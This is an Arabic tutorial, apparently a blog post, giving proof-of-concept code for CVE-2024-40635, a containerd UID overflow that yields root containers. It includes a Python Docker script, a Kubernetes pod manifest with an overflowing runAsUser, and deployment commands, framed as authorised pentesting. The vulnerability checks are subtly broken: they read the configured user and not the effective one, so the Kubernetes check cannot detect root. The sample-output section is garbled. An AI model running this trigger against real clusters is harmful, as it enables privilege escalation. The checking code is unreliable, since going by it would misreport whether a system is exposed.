
كود إثبات المفهوم لإثبات ثغرة CVE-2024-40635
كود إثبات المفهوم لإثبات الثغرة CVE-2024-40635 تم جمع البيانات من هنا: https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
هذا يستورد مكتبة Python الخاصة بـ Docker، والتي تسمح بالتفاعل مع Docker باستخدام واجهة برمجة التطبيقات الخاصة به. إذا لم تكن هذه المكتبة مثبتة، يمكنك إضافتها عن طريق تشغيل:
pip install docker
client = docker.from_env()
هنا، نقوم بإنشاء كائن عميل Docker باستخدام الدالة docker.from_env(). هذا يتصل بخدمة Docker التي تعمل على جهازك (أو مضيف بعيد، إذا تم تكوينه).
def is_system_vulnerable(container):
try:
# فحص تفاصيل الحاوية
details = container.attrs
uid_gid = details['Config']['User']
print(f"UID:GID للحاوية = {uid_gid}") # طباعة UID:GID
if uid_gid == "0:0": # UID:GID الجذر
return True
return False
except Exception as e:
print(f"خطأ في فحص تفاصيل الحاوية: {e}")
return False
الغرض: تتحقق هذه الدالة مما إذا كان النظام معرضًا للثغرة عن طريق فحص سمات الحاوية المنشأة.
الخطوات الرئيسية:
container.attrs: جلب جميع البيانات الوصفية حول الحاوية (الإعدادات، إعدادات وقت التشغيل، إلخ).
details['Config']['User']: استخراج UID:GID (معرف المستخدم والمجموعة) الذي تعمل تحته الحاوية. هذه هي الخاصية التي نختبرها.
print(f"UID:GID للحاوية = {uid_gid}"): دائمًا ما يطبع UID:GID للرؤية.
التحقق من الثغرة: إذا كان UID:GID يساوي "0:0"، فهذا يشير إلى أن الحاوية تعمل بصلاحيات الجذر، وبالتالي النظام معرض للثغرة.
container = client.containers.run(
"vulnerable-image", # استبدل بصورتك الاختبارية
user="2147483648:2147483648", # UID:GID يتجاوز العدد الصحيح الموقّع 32 بت
detach=True
)
client.containers.run: ينشئ ويبدأ حاوية Docker.
"vulnerable-image": استبدل هذا باسم صورة Docker فعلية مناسبة للاختبار.
user="2147483648:2147483648": هنا، نضع معرف مستخدم ومجموعة مخصصين (UID:GID). القيم تتجاوز نطاق العدد الصحيح الموقّع 32 بت، وهو الشرط المحفز للثغرة.
detach=True: يضمن تشغيل الحاوية في الخلفية، مما يسمح للسكريبت بالمتابعة دون انتظار انتهاء الحاوية.
try:
...
except Exception as e:
print(f"خطأ: {e}")
تضمن كتلة try-except هذه التقاط أي أخطاء أثناء إنشاء الحاوية أو تنفيذها وطباعتها، لتجنب إنهاء السكريبت بشكل مفاجئ.
print(f"تم بدء الحاوية {container.id}.")
بمجرد إنشاء الحاوية وبدء تشغيلها بنجاح، تتم طباعة معرفها الفريد للرجوع إليه. هذا مفيد لتصحيح الأخطاء أو فحص الحاوية بشكل أعمق.
if is_system_vulnerable(container):
print("النظام معرض للثغرة: الحاوية تعمل كجذر!")
else:
print("النظام غير معرض للثغرة.")
هذا يستدعي الدالة is_system_vulnerable، ويمرر الحاوية المنشأة كوسيطة.
بناءً على النتيجة (True للثغرة، False لعدم الثغرة)، يطبع رسالة مقابلة.
صُمم السكريبت لتوفير معلومات مفصلة في مخرجاته، بما في ذلك:
UID:GID المخصص للحاوية.
إشارة واضحة إلى ما إذا كان النظام معرضًا للثغرة أم لا.
تخيل أن هذا السكريبت يُشغل في بيئة اختبار، ويحدث ما يلي:
2147483648:2147483648.0:0 (جذر)، مما يتسبب في تشغيل الحاوية بصلاحيات الجذر.تم بدء الحاوية abc123.
UID:GID للحاوية = 0:0
النظام معرض للثغرة: الحاوية تعمل كجذر!
بدلاً من ذلك، إذا تعامل النظام بشكل صحيح مع قيم UID:GID الكبيرة ولم يربطها بالجذر، فقد ترى:
تم بدء الحاوية xyz456.
UID:GID للحاوية = 2147483648:2147483648
النظام غير معرض للثغرة.
"vulnerable-image" بصورة Docker تناسب سيناريو الاختبار الخاص بك (مثل صورة ذات تبعيات قليلة).تشغيل إثبات المفهوم (PoC) هذا في بيئة حية مثل Kubernetes وHarbor لاختبار الاختراق يتطلب تخطيطًا دقيقًا لضمان أن الاختبار محكوم وأخلاقي ومؤثر. فيما يلي تفصيل لكيفية القيام بذلك:
1. التخطيط والتحضير فهم النطاق: حدد حدود الاختبار الخاص بك. تأكد من أن لديك أذونات صريحة لإجراء اختبار الاختراق في البيئة الحية.
2. النسخ الاحتياطي: قم بإنشاء نسخ احتياطية من الأنظمة والحاويات الهامة في حال أثر الاختبار على توفرها أو بياناتها.
3. بيئة الاختبار: قم بإعداد مساحة أسماء (namespace) أو مجموعة (cluster) منفصلة داخل Kubernetes مخصصة لهذا PoC لتجنب التأثير على أحمال العمل الإنتاجية.
انشر حاوية باستخدام الإصدار المعرض للثغرة من containerd (v1.6.35-gke.0) داخل مجموعة Kubernetes الخاصة بك.
استخدم صورة Docker (مثل "vulnerable-image") ذات تبعيات قليلة للحفاظ على سطح الهجوم صغيرًا.
مثال YAML لنشر Kubernetes:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # استبدل بصورتك الاختبارية
securityContext:
runAsUser: 2147483648 # تجاوز عمدي للعدد الصحيح الموقّع 32 بت
runAsGroup: 2147483648
طبق الـ YAML باستخدام:
kubectl apply -f pod.yml
ب. التحقق باستخدام PoC
قم بتشغيل سكريبت Python الذي طورته من جهاز لديه وصول إلى مجموعة Kubernetes. على سبيل المثال، يمكنك تعديل السكريبت للتفاعل مع Kubernetes باستخدام مكتبة kubernetes الخاصة بـ Python.
قم بتثبيتها باستخدام:
pip install kubernetes
إليك مقتطف محدث لتكامل Kubernetes:
from kubernetes import client, config
# تحميل تكوين Kubernetes
config.load_kube_config()
# إنشاء عميل API لـ Kubernetes
v1 = client.CoreV1Api()
# التحقق من UID:GID للبود المحدد
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"UID:GID للبود {pod_name} = {uid}:{gid}")
if uid == 0 and gid == 0:
print("النظام معرض للثغرة: البود يعمل كجذر!")
else:
print("النظام غير معرض للثغرة.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
يتيح لك Harbor التحكم في الوصول إلى الصور، لذا قم بتقييد الوصول لضمان استخدام الصورة المعرضة للثغرة فقط في اختبار الاختراق.
التحقق: بعد تشغيل PoC، تحقق من السجلات بحثًا عن أي مؤشرات على تفعيل الثغرة. على سبيل المثال، تأكد مما إذا كانت الحاوية (أو البود) تعمل كجذر.
التوثيق: سجل النتائج التي توصلت إليها، مثل: